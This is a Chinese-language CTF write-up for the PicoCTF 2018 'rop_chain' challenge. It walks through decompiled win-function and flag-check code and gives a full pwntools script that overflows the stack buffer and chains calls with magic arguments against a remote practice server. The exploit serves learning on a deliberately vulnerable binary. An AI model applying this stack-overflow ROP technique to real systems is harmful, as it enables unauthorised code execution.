32位,vuln()存在栈溢出,获取flag时,在flag()中存在判定,flag()代码如下:
int __cdecl flag(int a1)
{
char s; // [esp+Ch] [ebp-3Ch]
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(&s, 48, stream);
if ( win1 && win2 && a1 == 0xDEADBAAD )
return printf("%s", &s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}
满足存在win1、win2、a1 == 0xDEADBAAD时才能获取flag。
win_function1():
void win_function1()
{
win1 = 1;
}
win_function2():
int __cdecl win_function2(int a1)
{
int result; // eax
result = (unsigned __int8)win1;
if ( win1 && a1 == 0xBAAAAAAD )
{
win2 = 1;
}
else if ( win1 )
{
result = puts("Wrong Argument. Try Again.");
}
else
{
result = puts("Nope. Try a little bit harder.");
}
return result;
}
注意 win_function2()和flag()都接受形参a1。在调用flag()之前,先调用win_function1()使win1 = 1,再调用win_function2()使a1=0xBAAAAAAD,win2=1,返回地址填flag()的地址,最后让 a1=0xDEADBAAD即可。
from pwn import *
elf = ELF('./PicoCTF_2018_rop_chain')
local = 0
if local == 1:
io = process('./PicoCTF_2018_rop_chain')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',26467)
payload = 'a'*0x18+p32(0xdeadbeef)+p32(0x80485CB)+p32(0x80485D8)+p32(0x804862B)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
io.recvuntil("input> ")
io.sendline(payload)
io.interactive()